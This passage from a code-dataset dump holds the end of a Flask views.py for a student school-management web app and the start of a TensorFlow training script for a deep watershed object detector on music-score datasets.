return render_template(\"register.html\")\r\n\r\n curTeacher.LName = request.form.get('lastname')\r\n if len(curTeacher.LName) == 0:\r\n flash('Last name cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n \r\n curTeacher.Email = request.form.get('email')\r\n if len(curTeacher.Email) == 0:\r\n flash('Email cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n \r\n curTeacher.Dptmt = request.form.get('department')\r\n if len(curTeacher.Dptmt) == 0:\r\n flash('Department cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n \r\n curTeacher.College = request.form.get('college')\r\n if len(curTeacher.College) == 0:\r\n flash('College cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n \r\n curTeacher.Subj = request.form.get('subject')\r\n if len(curTeacher.Subj) == 0:\r\n flash('Subject cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curTeacher.PhoneNo = request.form.get('phoneno')\r\n if len(curTeacher.PhoneNo) == 0:\r\n flash('Phone number cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n\r\n curTeacher.Website = request.form.get('website')\r\n if len(curTeacher.Website) == 0:\r\n flash('Website cannot be empty', category='error')\r\n return render_template(\"register.html\")\r\n \r\n flash('Account Created!', category='success')\r\n sql.RegisterTeacher(curTeacher)\r\n session['curLog'] = 'teacher'\r\n return redirect('home')\r\n\r\n return render_template(\r\n 'register.html',\r\n title = \"Register Page\"\r\n )\r\n\r\n@app.route('/studentView')\r\ndef studentView():\r\n return render_template(\r\n 'studentView.html',\r\n title='Student View',\r\n student = curStudent\r\n )\r\n\r\n@app.route('/studentModify', methods=['GET', 'POST'])\r\ndef studentModify():\r\n global curStudent\r\n if request.method == 'POST':\r\n username = request.form.get('username')\r\n if len(username) != 0:\r\n curStudent.User = username \r\n\r\n password = request.form.get('password')\r\n if len(password) != 0:\r\n curStudent.Pass = password \r\n\r\n firstname = request.form.get('firstname')\r\n if len(firstname) != 0:\r\n curStudent.FName = firstname \r\n\r\n lastname = request.form.get('lastname')\r\n if len(lastname) != 0:\r\n curStudent.LName = lastname \r\n\r\n dob = request.form.get('dob')\r\n if len(dob) != 0:\r\n curStudent.DOB = dob \r\n\r\n addr1 = request.form.get('addr1')\r\n if len(addr1) != 0:\r\n curStudent.Addr1 = addr1\r\n\r\n curStudent.Addr2 = request.form.get('addr2')\r\n \r\n city = request.form.get('city')\r\n if len(city) != 0:\r\n curStudent.City = city\r\n \r\n state = request.form.get('state')\r\n if len(state) != 0:\r\n curStudent.State = state\r\n \r\n email = request.form.get('email')\r\n if len(email) != 0:\r\n curStudent.Email = email\r\n \r\n phoneno = request.form.get('phoneno')\r\n if len(phoneno) != 0:\r\n curStudent.PhoneNo = phoneno\r\n \r\n flash('Account Modified!', category='success')\r\n sql.ModifyStudent(curStudent)\r\n return redirect('studentView')\r\n\r\n return render_template(\r\n 'studentmodify.html',\r\n title='Student Modify',\r\n student = curStudent\r\n )\r\n\r\n@app.route('/studentDelete', methods=['GET', 'POST'])\r\ndef studentDelete():\r\n global curStudent\r\n if request.method == 'POST':\r\n if request.form['submit_button'] == 'DELETE':\r\n sql.DeleteStudent(curStudent.SID)\r\n flash(\"Deleted Teacher Account!\", category='success')\r\n return redirect('logout')\r\n if request.form['submit_button'] == 'CANCEL':\r\n flash(\"Canceled Deletion\", category='success')\r\n return redirect('home')\r\n\r\n return render_template(\r\n 'studentdelete.html',\r\n title='Student Delete'\r\n )\r\n\r\n@app.route('/exploreCategories', methods=['GET', 'POST'])\r\ndef exploreCategories():\r\n global curStudent\r\n if request.method == 'POST':\r\n session['category'] = request.form.get(\"submit_category\")\r\n return redirect('exploreCourses')\r\n \r\n return render_template(\r\n 'exploreCategories.html',\r\n title='Explore Categories',\r\n categories = sql.GetCategories()\r\n )\r\n\r\n@app.route('/exploreCourses', methods=['GET', 'POST'])\r\ndef exploreCourses():\r\n global curStudent\r\n if request.method == 'POST':\r\n CID = request.form.get('cid')\r\n Time = request.form.get('time')\r\n\r\n sql.JoinCourse(CID, curStudent.SID, Time, date.today().year)\r\n flash(\"Successfully joined \" + request.form.get('classname'), category= \"success\")\r\n session.pop('category', None)\r\n return redirect('home')\r\n\r\n return render_template(\r\n 'exploreCourses.html',\r\n title='Explore Courses',\r\n courses = sql.GetCourses(session['category'], curStudent.SID),\r\n category = session['category']\r\n )\r\n\r\n@app.route('/studentCourses', methods=['GET', 'POST'])\r\ndef studentCourses():\r\n global curStudent\r\n if request.method == 'POST':\r\n if request.form['submit_button'] == 'DEL':\r\n sql.LeaveCourse(curStudent.SID, request.form.get('cid'))\r\n flash(\"Successfully left \" + request.form.get('classname'), category= \"success\")\r\n \r\n if request.form['submit_button'] == 'REPORT':\r\n session['cid'] = request.form.get('cid')\r\n session['classname'] = request.form.get('classname')\r\n return redirect('sReportList')\r\n\r\n if request.form['submit_button'] == 'TEST':\r\n session['cid'] = request.form.get('cid')\r\n session['classname'] = request.form.get('classname')\r\n return redirect('sTestList')\r\n\r\n courses = sql.StudentCourses(curStudent.SID)\r\n return render_template(\r\n 'studentCourses.html',\r\n title='Student Courses',\r\n courses = courses\r\n )\r\n\r\n@app.route('/sReportList', methods=['GET', 'POST'])\r\ndef sReportList():\r\n global curStudent\r\n if request.method == 'POST':\r\n reportid = request.form.get('reportid')\r\n session['reportid'] = reportid\r\n return redirect('studentReport')\r\n\r\n reports = sql.GetStudentReports(session['cid'], curStudent.SID)\r\n return render_template(\r\n 's_reportlist.html',\r\n title='Report List',\r\n classname = session['classname'],\r\n reports = reports\r\n )\r\n\r\n@app.route('/sTestList', methods=['GET', 'POST'])\r\ndef sTestList():\r\n global curStudent\r\n if request.method == 'POST':\r\n testid = request.form.get('testid')\r\n session['testid'] = testid\r\n return redirect('studentTest')\r\n\r\n tests = sql.GetStudentTests(session['cid'], curStudent.SID)\r\n return render_template(\r\n 's_testlist.html',\r\n title='Test List',\r\n classname = session['classname'],\r\n tests = tests\r\n )\r\n\r\n@app.route('/studentReport', methods=['GET', 'POST'])\r\ndef studentReport():\r\n global curStudent\r\n if request.method == 'POST':\r\n sql.DoReport(session['reportid'], curStudent.SID, request.form.get('answer'))\r\n session.pop('reportid', None)\r\n session.pop('cid', None)\r\n session.pop('classname', None)\r\n flash('Successfully submitted report!', category = 'success')\r\n return redirect('home')\r\n\r\n report = sql.GetStudentReport(session['reportid'], curStudent.SID)\r\n\r\n return render_template(\r\n 'studentReport.html',\r\n title='Student Report',\r\n classname = session['classname'],\r\n report = report\r\n )\r\n\r\n@app.route('/studentTest', methods=['GET', 'POST'])\r\ndef studentTest():\r\n global curStudent\r\n if request.method == 'POST':\r\n sql.DoTest(session['testid'], curStudent.SID, request.form.get('answer'))\r\n session.pop('testid', None)\r\n session.pop('cid', None)\r\n session.pop('classname', None)\r\n flash('Successfully submitted test!', category = 'success')\r\n return redirect('home')\r\n\r\n test = sql.GetStudentTest(session['testid'], curStudent.SID)\r\n\r\n return render_template(\r\n 'studentTest.html',\r\n title='Student Test',\r\n classname = session['classname'],\r\n test = test\r\n )\r\n\r\n@app.route('/viewGrades', methods=['GET', 'POST'])\r\ndef viewGrades():\r\n global curStudent\r\n grades = sql.GetGrades(curStudent.SID)\r\n \r\n GPA = 0.0\r\n if len(grades) > 0:\r\n for grade in grades:\r\n GPA += float(grade[1])\r\n\r\n GPA = GPA/(len(grades)*25)\r\n\r\n return render_template(\r\n 's_viewGrades.html',\r\n title='Student Grades',\r\n student = curStudent,\r\n grades = grades,\r\n GPA = \"{:.2f}\".format(GPA)\r\n )\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n@app.route('/teacherView')\r\ndef teacherView():\r\n return render_template(\r\n 'teacherView.html',\r\n title='Teacher View',\r\n teacher = curTeacher\r\n )\r\n\r\n@app.route('/teacherModify', methods=['GET', 'POST'])\r\ndef teacherModify():\r\n global curTeacher\r\n if request.method == 'POST':\r\n username = request.form.get('username')\r\n if len(username) != 0:\r\n curStudent.User = username \r\n\r\n password = request.form.get('password')\r\n if len(password) != 0:\r\n curStudent.Pass = password \r\n\r\n firstname = request.form.get('firstname')\r\n if len(firstname) != 0:\r\n curStudent.FName = firstname \r\n\r\n lastname = request.form.get('lastname')\r\n if len(lastname) != 0:\r\n curStudent.LName = lastname \r\n\r\n dob = request.form.get('dob')\r\n if len(dob) != 0:\r\n curStudent.DOB = dob \r\n\r\n addr1 = request.form.get('addr1')\r\n if len(addr1) != 0:\r\n curStudent.Addr1 = addr1\r\n\r\n curStudent.Addr2 = request.form.get('addr2')\r\n \r\n city = request.form.get('city')\r\n if len(city) != 0:\r\n curStudent.City = city\r\n \r\n state = request.form.get('state')\r\n if len(state) != 0:\r\n curStudent.State = state\r\n \r\n email = request.form.get('email')\r\n if len(email) != 0:\r\n curStudent.Email = email\r\n \r\n phoneno = request.form.get('phoneno')\r\n if len(phoneno) != 0:\r\n curStudent.PhoneNo = phoneno\r\n \r\n flash('Account Modified!', category='success')\r\n sql.ModifyTeacher(curTeacher)\r\n return redirect('teacherView')\r\n return render_template(\r\n 'teacherModify.html',\r\n title='Teacher Modify',\r\n teacher = curTeacher\r\n )\r\n\r\n@app.route('/teacherDelete', methods=['GET', 'POST'])\r\ndef teacherDelete():\r\n global curTeacher\r\n if request.method == 'POST':\r\n if request.form['submit_button'] == 'DELETE':\r\n sql.DeleteTeacher(curTeacher.TID)\r\n flash(\"Deleted Teacher Account!\", category='success')\r\n return redirect('logout')\r\n if request.form['submit_button'] == 'CANCEL':\r\n flash(\"Canceled Deletion\", category='success')\r\n return redirect('home')\r\n\r\n return render_template(\r\n 'teacherdelete.html',\r\n title='Teacher Delete'\r\n )\r\n\r\n@app.route('/makeCourse', methods=['GET', 'POST'])\r\ndef makeCourse():\r\n global curTeacher\r\n if request.method == 'POST':\r\n newCourse = course()\r\n newCourse.ClassName = request.form.get('classname')\r\n newCourse.CollegeId = int(request.form.get('department'))\r\n newCourse.Textbook = request.form.get('textbook')\r\n newCourse.MaxSize = int(request.form.get('maxsize'))\r\n newCourse.RoomNo = int(request.form.get('roomno'))\r\n newCourse.Category = request.form.get('category').upper()\r\n newCourse.Department = sql.GetCollegeName(newCourse.CollegeId)\r\n newCourse.Time = str(request.form.get('time'))\r\n \r\n sql.AppendCourse(curTeacher.TID, newCourse)\r\n flash('Successfully Made Course!', category = 'success')\r\n return redirect('home')\r\n \r\n return render_template(\r\n 't_makecourse.html',\r\n title='Make Course',\r\n departments = sql.GetColleges()\r\n )\r\n\r\n@app.route('/teacherCourses', methods=['GET', 'POST'])\r\ndef teacherCourses():\r\n global curTeacher\r\n if request.method == 'POST':\r\n if request.form['submit_button'] == 'EXPAND':\r\n session['cid'] = request.form.get('cid')\r\n session['classname'] = request.form.get('classname')\r\n return redirect('expandCourse')\r\n\r\n if request.form['submit_button'] == 'WORK':\r\n session['cid'] = request.form.get('cid')\r\n return redirect('teacherAssign')\r\n\r\n if request.form['submit_button'] == 'DEL':\r\n sql.DropCourse(request.form.get('cid'))\r\n flash(\"Successfully dropped \" + request.form.get('classname'), category= \"success\")\r\n \r\n courses = sql.TeacherCourses(curTeacher.TID)\r\n return render_template(\r\n 'teacherCourses.html',\r\n title='Teacher Courses',\r\n courses = courses\r\n )\r\n\r\n@app.route('/expandCourse')\r\ndef expandCourse():\r\n info = sql.ExpandCourse(session['cid'])\r\n classname = session['classname']\r\n session.pop('cid', None)\r\n session.pop('classname', None)\r\n\r\n return render_template(\r\n 't_CourseInfo.html',\r\n title='Course Info',\r\n students = info,\r\n classname = classname\r\n )\r\n\r\n@app.route('/teacherAssign', methods=['GET', 'POST'])\r\ndef teacherAssign():\r\n global curTeacher\r\n if request.method == 'POST':\r\n CID = request.form.get('cid')\r\n sidlist = sql.GetSidListInCID(CID)\r\n if request.form['submit_button'] == 'REPORT':\r\n newReport = report()\r\n newReport.TID = curTeacher.TID\r\n newReport.CID = CID\r\n newReport.Title = request.form.get('title')\r\n newReport.Task = request.form.get('task')\r\n newReport.DueDate = request.form.get('duedate')\r\n newReport.Year = int(date.today().year)\r\n \r\n sql.MakeReport(sidlist, newReport)\r\n flash(\"Successfully made new report!\", category=\"success\")\r\n \r\n elif request.form['submit_button'] == 'TEST':\r\n newTest = test()\r\n newTest.TID = curTeacher.TID\r\n newTest.CID = CID\r\n newTest.Subj = request.form.get('subject')\r\n newTest.Task = request.form.get('task')\r\n newTest.TakeDate = request.form.get('takedate')\r\n newTest.Year = int(date.today().year)\r\n \r\n sql.MakeTest(sidlist, newTest)\r\n flash(\"Successfully made new test!\", category=\"success\")\r\n\r\n session.pop('cid', None)\r\n return redirect('home')\r\n\r\n return render_template(\r\n 'teacherAssign.html',\r\n title='Assign',\r\n cid = session['cid']\r\n )\r\n\r\n@app.route('/judgeCourses', methods=['GET', 'POST'])\r\ndef judgeCourses():\r\n global curTeacher\r\n print('1111111111111111111111111111111111111111')\r\n if request.method == 'POST':\r\n session['cid'] = request.form.get('cid')\r\n session['classname'] = request.form.get('classname')\r\n\r\n if request.form['submit_button'] == 'REPORT':\r\n return redirect('tReportList')\r\n\r\n if request.form['submit_button'] == 'TEST':\r\n return redirect('tTestList')\r\n \r\n\r\n return render_template(\r\n 't_judgeCourses.html',\r\n title='Judge Courses',\r\n courses = sql.ViewCoursesTeacher(curTeacher.TID)\r\n )\r\n\r\n@app.route('/tReportList', methods=['GET', 'POST'])\r\ndef tReportList():\r\n global curTeacher\r\n if request.method == 'POST':\r\n session['reporttitle'] = request.form['reporttitle']\r\n return redirect('judgeReport')\r\n \r\n return render_template(\r\n 't_courseReports.html',\r\n title='Report List',\r\n classname = session['classname'],\r\n reports = sql.ReportList(session['cid'])\r\n )\r\n\r\n@app.route('/judgeReport', methods=['GET', 'POST'])\r\ndef judgeReport():\r\n global curTeacher\r\n if request.method == 'POST':\r\n RID = int(request.form.get('reportid'))\r\n SID = int(request.form.get('sid'))\r\n CID = session['cid']\r\n grade = int(request.form.get('grade'))\r\n prvgrade = int(request.form.get('prvgrade'))\r\n\r\n sql.JudgeReport(RID, SID, CID, grade, prvgrade)\r\n \r\n reports = sql.TeacherReport(session['reporttitle'])\r\n return render_template(\r\n 't_judgeReport.html',\r\n title='Judge Report',\r\n rtitle = session['reporttitle'],\r\n reports = reports)\r\n\r\n\r\n@app.route('/tTestList', methods=['GET', 'POST'])\r\ndef tTestList():\r\n global curTeacher\r\n if request.method == 'POST':\r\n session['testtitle'] = request.form['testtitle']\r\n return redirect('judgeTest')\r\n\r\n return render_template(\r\n 't_courseTests.html',\r\n title='Test List',\r\n classname = session['classname'],\r\n tests = sql.TestList(session['cid'])\r\n )\r\n\r\n@app.route('/judgeTest', methods=['GET', 'POST'])\r\ndef judgeTest():\r\n global curTeacher\r\n if request.method == 'POST':\r\n TTID = int(request.form.get('testid'))\r\n SID = int(request.form.get('sid'))\r\n CID = session['cid']\r\n grade = int(request.form.get('grade'))\r\n prvgrade = int(request.form.get('prvgrade'))\r\n\r\n sql.JudgeTest(TTID, SID, CID, grade, prvgrade)\r\n \r\n tests = sql.TeacherTest(session['testtitle'])\r\n for test in tests:\r\n print(test)\r\n\r\n \r\n return render_template(\r\n 't_judgeTest.html',\r\n title='Judge Test',\r\n ttitle = session['testtitle'],\r\n tests = tests)\r\n\r\n\r\n\r\n\r\n\r\n@app.route('/home')\r\ndef home():\r\n return render_template(\r\n 'home.html',\r\n title='Home Page'\r\n )\r\n\r\n@app.route('/logout')\r\ndef logout():\r\n session.pop('curLog', None)\r\n global curStudent\r\n global curTeacher\r\n curStudent = student()\r\n curTeacher = teacher()\r\n\r\n flash('You have successfully logged out!', category = 'success')\r\n return redirect('login')\r\n ","repo_name":"JosephHUPark/SchoolMgmtPy","sub_path":"SchoolMgmtWebPy2/SchoolMgmtWebPy2/SchoolMgmtWebPy2/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":24162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37941210644","text":"import os\nimport tensorflow as tf\nimport numpy as np\nimport sys\n\nsys.path.insert(0, os.path.dirname(__file__)[:-4])\nfrom main.config import cfg\n\nfrom models.dwd_net import build_dwd_net\n\nfrom datasets.factory import get_imdb\nfrom tensorflow.contrib import slim\nimport roi_data_layer.roidb as rdl_roidb\nfrom roi_data_layer.layer import RoIDataLayer\nfrom utils.prefetch_wrapper import PrefetchWrapper\nfrom tensorflow.python.ops import array_ops\nimport pickle\nfrom PIL import Image\nfrom PIL import ImageFont\nfrom PIL import ImageDraw\n\n\nfrom datasets.fcn_groundtruth import stamp_class, stamp_directions, stamp_energy, stamp_bbox, stamp_semseg, \\\n get_gt_visuals, get_map_visuals, overlayed_image\n\nnr_classes = None\nstore_dict = True\n\n\ndef main(parsed):\n args = parsed[0]\n print(args)\n iteration = 1\n np.random.seed(cfg.RNG_SEED)\n\n # load database\n imdb, roidb, imdb_val, roidb_val, data_layer, data_layer_val = load_database(args)\n\n global nr_classes\n nr_classes = len(imdb._classes)\n args.nr_classes.append(nr_classes)\n\n # replaces keywords with function handles in training assignements\n save_objectness_function_handles(args, imdb)\n\n # tensorflow session\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n sess = tf.Session(config=config)\n\n # input and output tensors\n if \"DeepScores_300dpi\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 1])\n resnet_dir = cfg.PRETRAINED_DIR + \"/DeepScores/\"\n refinenet_dir = cfg.PRETRAINED_DIR + \"/DeepScores_semseg/\"\n\n elif \"DeepScores\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 1])\n resnet_dir = cfg.PRETRAINED_DIR + \"/DeepScores/\"\n refinenet_dir = cfg.PRETRAINED_DIR + \"/DeepScores_semseg/\"\n\n elif \"MUSICMA\" in args.dataset:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 1])\n resnet_dir = cfg.PRETRAINED_DIR + \"/DeepScores/\"\n refinenet_dir = cfg.PRETRAINED_DIR + \"/DeepScores_semseg/\"\n\n else:\n input = tf.placeholder(tf.float32, shape=[None, None, None, 3])\n resnet_dir = cfg.PRETRAINED_DIR + \"/ImageNet/\"\n refinenet_dir = cfg.PRETRAINED_DIR + \"/VOC2012/\"\n\n if not (len(args.training_help) == 1 and args.training_help[0] is None):\n # initialize helper_input\n helper_input = tf.placeholder(tf.float32, shape=[None, None, None, input.shape[-1] + 1])\n feed_head = slim.conv2d(helper_input, input.shape[-1], [3, 3], scope='gt_feed_head')\n input = feed_head\n\n print(\"Initializing Model:\" + args.model)\n # model has all possible output heads (even if unused) to ensure saving and loading goes smoothly\n network_heads, init_fn = build_dwd_net(\n input, model=args.model, num_classes=nr_classes, pretrained_dir=resnet_dir, substract_mean=False, individual_upsamp = args.individual_upsamp)\n\n # use just one image summary OP for all tasks\n final_pred_placeholder = tf.placeholder(tf.uint8, shape=[1, None, None, 3])\n images_sums = []\n images_placeholders = []\n\n images_placeholders.append(final_pred_placeholder)\n images_sums.append(tf.summary.image('DWD_debug_img', final_pred_placeholder))\n images_summary_op = tf.summary.merge(images_sums)\n\n # initialize tasks\n preped_assign = []\n for assign in args.training_assignements:\n [loss, optim, gt_placeholders, scalar_summary_op,\n mask_placholders] = initialize_assignement(assign, imdb, network_heads, sess, data_layer, input, args)\n preped_assign.append(\n [loss, optim, gt_placeholders, scalar_summary_op, images_summary_op, images_placeholders, mask_placholders])\n\n # init tensorflow session\n saver = tf.train.Saver(max_to_keep=1000)\n sess.run(tf.global_variables_initializer())\n\n # load model weights\n checkpoint_dir = get_checkpoint_dir(args)\n checkpoint_name = \"backbone\"\n if args.continue_training == \"True\":\n print(\"Loading checkpoint\")\n saver.restore(sess, checkpoint_dir + \"/\" + checkpoint_name)\n elif args.pretrain_lvl == \"deepscores_to_musicma\":\n pretrained_vars = []\n for var in slim.get_model_variables():\n if not (\"class_pred\" in var.name):\n pretrained_vars.append(var)\n print(\"Loading network pretrained on Deepscores for Muscima\")\n loading_checkpoint_name = cfg.PRETRAINED_DIR + \"/DeepScores_to_Muscima/\" + \"backbone\"\n init_fn = slim.assign_from_checkpoint_fn(loading_checkpoint_name, pretrained_vars)\n init_fn(sess)\n elif args.pretrain_lvl == \"DeepScores_to_300dpi\":\n pretrained_vars = []\n for var in slim.get_model_variables():\n if not (\"class_pred\" in var.name):\n pretrained_vars.append(var)\n print(\"Loading network pretrained on Deepscores for Muscima\")\n loading_checkpoint_name = cfg.PRETRAINED_DIR + \"/DeepScores_to_300dpi/\" + \"backbone\"\n init_fn = slim.assign_from_checkpoint_fn(loading_checkpoint_name, pretrained_vars)\n init_fn(sess)\n else:\n if args.pretrain_lvl == \"semseg\":\n # load all variables except the ones in scope \"deep_watershed\"\n pretrained_vars = []\n for var in slim.get_model_variables():\n if not (\"deep_watershed\" in var.name or \"gt_feed_head\" in var.name):\n pretrained_vars.append(var)\n\n print(\"Loading network pretrained on semantic segmentation\")\n loading_checkpoint_name = refinenet_dir + args.model + \".ckpt\"\n init_fn = slim.assign_from_checkpoint_fn(loading_checkpoint_name, pretrained_vars)\n init_fn(sess)\n elif args.pretrain_lvl == \"class\":\n print(\"Loading pretrained weights for level: \" + args.pretrain_lvl)\n init_fn(sess)\n else:\n print(\"Not loading a pretrained network\")\n\n # set up tensorboard\n writer = tf.summary.FileWriter(checkpoint_dir, sess.graph)\n\n # execute tasks\n for do_a in args.do_assign:\n assign_nr = do_a[\"assign\"]\n do_itr = do_a[\"Itrs\"]\n training_help = args.training_help[do_a[\"help\"]]\n iteration = execute_assign(args, input, saver, sess, checkpoint_dir, checkpoint_name, data_layer, writer,\n network_heads,\n do_itr, args.training_assignements[assign_nr], preped_assign[assign_nr], iteration,\n training_help)\n\n # execute combined tasks\n for do_comb_a in args.combined_assignements:\n do_comb_itr = do_comb_a[\"Itrs\"]\n rm_length = do_comb_a[\"Running_Mean_Length\"]\n loss_factors = do_comb_a[\"loss_factors\"]\n orig_assign = [args.training_assignements[i] for i in do_comb_a[\"assigns\"]]\n preped_assigns = [preped_assign[i] for i in do_comb_a[\"assigns\"]]\n training_help = None # unused atm\n execute_combined_assign(args, data_layer, training_help, orig_assign, preped_assigns, loss_factors, do_comb_itr,\n iteration, input, rm_length,\n network_heads, sess, checkpoint_dir, checkpoint_name, saver, writer)\n\n print(\"done :)\")\n\n\ndef execute_combined_assign(args, data_layer, training_help, orig_assign, preped_assigns, loss_factors, do_comb_itr,\n iteration, input_ph, rm_length,\n network_heads, sess, checkpoint_dir, checkpoint_name, saver, writer):\n # init data layer\n if args.prefetch == \"True\":\n data_layer = PrefetchWrapper(data_layer.forward, args.prefetch_len, args, orig_assign, training_help)\n\n # combine losses\n past_losses = np.ones((len(loss_factors), rm_length), np.float32)\n loss_scalings_placeholder = tf.placeholder(tf.float32, [len(loss_factors)])\n loss_tot = None\n for i in range(len(preped_assigns)):\n if loss_tot is None:\n loss_tot = preped_assigns[i][0] * loss_scalings_placeholder[i]\n else:\n loss_tot += preped_assigns[i][0] * loss_scalings_placeholder[i]\n\n # init optimizer\n with tf.variable_scope(\"combined_opt\" + str(0)):\n var_list = [var for var in tf.trainable_variables()]\n loss_L2 = tf.add_n([tf.nn.l2_loss(v) for v in var_list\n if 'bias' not in v.name]) * args.regularization_coefficient\n loss_tot += loss_L2\n optimizer_type = args.optim\n if args.optim == 'rmsprop':\n optim = tf.train.RMSPropOptimizer(learning_rate=args.learning_rate, decay=0.995).minimize(loss_tot,\n var_list=var_list)\n elif args.optim == 'adam':\n optim = tf.train.AdamOptimizer(learning_rate=args.learning_rate).minimize(loss_tot, var_list=var_list)\n else:\n optim = tf.train.MomentumOptimizer(learning_rate=args.learning_rate, momentum=0.9).minimize(loss_tot,\n va_list=var_list)\n opt_inizializers = [var.initializer for var in tf.global_variables() if \"combined_opt\" + str(0) in var.name]\n sess.run(opt_inizializers)\n # compute step\n print(\"training on combined assignments\")\n print(\"for \" + str(do_comb_itr) + \" iterations\")\n\n # waste elements off queue because queue clear does not work\n for i in range(14):\n data_layer.forward(args, orig_assign, training_help)\n\n for itr in range(iteration, (iteration + do_comb_itr)):\n # load batch - only use batches with content\n batch_not_loaded = True\n while batch_not_loaded:\n blob = data_layer.forward(args, orig_assign, training_help)\n batch_not_loaded = len(blob[\"gt_boxes\"].shape) != 3 or sum([\"assign\" in key for key in blob.keys()]) != len(\n preped_assigns)\n\n if blob[\"helper\"] is not None:\n input_data = np.concatenate([blob[\"data\"], blob[\"helper\"]], -1)\n feed_dict = {input_ph: input_data}\n else:\n if len(args.training_help) == 1:\n feed_dict = {input_ph: blob[\"data\"]}\n else:\n # pad input with zeros\n input_data = np.concatenate([blob[\"data\"], blob[\"data\"] * 0], -1)\n feed_dict = {input_ph: input_data}\n\n for i1 in range(len(preped_assigns)):\n gt_placeholders = preped_assigns[i1][2]\n mask_placeholders = preped_assigns[i1][6]\n for i2 in range(len(gt_placeholders)):\n # only one assign\n feed_dict[gt_placeholders[i2]] = blob[\"assign\" + str(i1)][\"gt_map\" + str(len(gt_placeholders) - i2 - 1)]\n feed_dict[mask_placeholders[i2]] = blob[\"assign\" + str(i1)][\"mask\" + str(len(gt_placeholders) - i2 - 1)]\n\n # compute running mean for losses\n feed_dict[loss_scalings_placeholder] = loss_factors / np.maximum(np.mean(past_losses, 1),\n [1.0E-6, 1.0E-6, 1.0E-6])\n\n with open('feed_dict_train.pickle', 'wb') as handle:\n pickle.dump(feed_dict[input_ph], handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n # train step\n fetch_list = list()\n fetch_list.append(optim)\n fetch_list.append(loss_tot)\n for preped_a in preped_assigns:\n fetch_list.append(preped_a[0])\n fetches = sess.run(fetch_list, feed_dict=feed_dict)\n\n past_losses[:, :-1] = past_losses[:, 1:] # move by one timestep\n past_losses[:, -1] = fetches[-3:] # add latest loss\n\n if itr % args.print_interval == 0 or itr == 1:\n print(\"loss at itr: \" + str(itr))\n print(fetches[1])\n print(past_losses)\n\n if itr % args.tensorboard_interval == 0 or itr == 1:\n\n post_assign_to_tensorboard(orig_assign, preped_assigns, network_heads, feed_dict, itr, sess,writer, blob)\n\n if itr % args.save_interval == 0:\n print(\"saving weights\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver.save(sess, checkpoint_dir + \"/\" + checkpoint_name)\n\n iteration = (iteration + do_comb_itr)\n if args.prefetch == \"True\":\n data_layer.kill()\n\n return iteration\n\n\ndef post_assign_to_tensorboard(orig_assign, preped_assigns, network_heads, feed_dict, itr, sess, writer, blob):\n\n gt_visuals = []\n map_visuals = []\n # post scalar summary per assign, store fetched maps\n for i in range(len(preped_assigns)):\n assign = orig_assign[i]\n _, _, _, scalar_summary_op, images_summary_op, images_placeholders, _ = preped_assigns[i]\n fetch_list = [scalar_summary_op]\n # fetch sub_predicitons\n nr_feature_maps = len(network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]])\n\n [fetch_list.append(\n network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps - (x + 1)]) for x\n in\n range(len(assign[\"ds_factors\"]))]\n\n summary = sess.run(fetch_list, feed_dict=feed_dict)\n writer.add_summary(summary[0], float(itr))\n\n gt_visual = get_gt_visuals(blob, assign, i, pred_boxes=None, show=False)\n map_visual = get_map_visuals(summary[1:], assign, show=False)\n gt_visuals.append(gt_visual)\n map_visuals.append(map_visual)\n\n # stitch one large image out of all assigns\n stitched_img = get_stitched_tensorboard_image(orig_assign, gt_visuals, map_visuals, blob, itr)\n stitched_img = np.expand_dims(stitched_img, 0)\n #obsolete\n #images_feed_dict = get_images_feed_dict(assign, blob, gt_visuals, map_visuals, images_placeholders)\n images_feed_dict = dict()\n images_feed_dict[images_placeholders[0]] = stitched_img\n\n # save images to tensorboard\n summary = sess.run([images_summary_op], feed_dict=images_feed_dict)\n writer.add_summary(summary[0], float(itr))\n\n\n return None\n\n\ndef focal_loss(prediction_tensor, target_tensor, weights=None, alpha=0.25, gamma=2):\n r\"\"\"Compute focal loss for predictions.\n Multi-labels Focal loss formula:\n FL = -alpha * (z-p)^gamma * log(p) -(1-alpha) * p^gamma * log(1-p)\n ,which alpha = 0.25, gamma = 2, p = sigmoid(x), z = target_tensor.\n Args:\n prediction_tensor: A float tensor of shape [batch_size, num_anchors,\n num_classes] representing the predicted logits for each class\n target_tensor: A float tensor of shape [batch_size, num_anchors,\n num_classes] representing one-hot encoded classification targets\n weights: A float tensor of shape [batch_size, num_anchors]\n alpha: A scalar tensor for focal loss alpha hyper-parameter\n gamma: A scalar tensor for focal loss gamma hyper-parameter\n Returns:\n loss: A (scalar) tensor representing the value of the loss function\n \"\"\"\n softmax_p = tf.nn.softmax(prediction_tensor)\n zeros = array_ops.zeros_like(softmax_p, dtype=softmax_p.dtype)\n\n # For poitive prediction, only need consider front part loss, back part is 0;\n # target_tensor > zeros <=> z=1, so poitive coefficient = z - p.\n pos_p_sub = array_ops.where(target_tensor > zeros, target_tensor - softmax_p, zeros)\n # For negative prediction, only need consider back part loss, front part is 0;\n # target_tensor > zeros <=> z=1, so negative coefficient = 0.\n neg_p_sub = array_ops.where(target_tensor > zeros, zeros, softmax_p)\n per_entry_cross_ent = - alpha * (pos_p_sub ** gamma) * tf.log(tf.clip_by_value(softmax_p, 1e-8, 1.0)) \\\n - (1 - alpha) * (neg_p_sub ** gamma) * tf.log(tf.clip_by_value(1.0 - softmax_p, 1e-8, 1.0))\n # print(tf.reduce_mean(per_entry_cross_ent))\n return per_entry_cross_ent\n # return tf.reduce_mean(per_entry_cross_ent)\n\n\ndef initialize_assignement(assign, imdb, network_heads, sess, data_layer, input, args):\n gt_placeholders = get_gt_placeholders(assign, imdb)\n\n 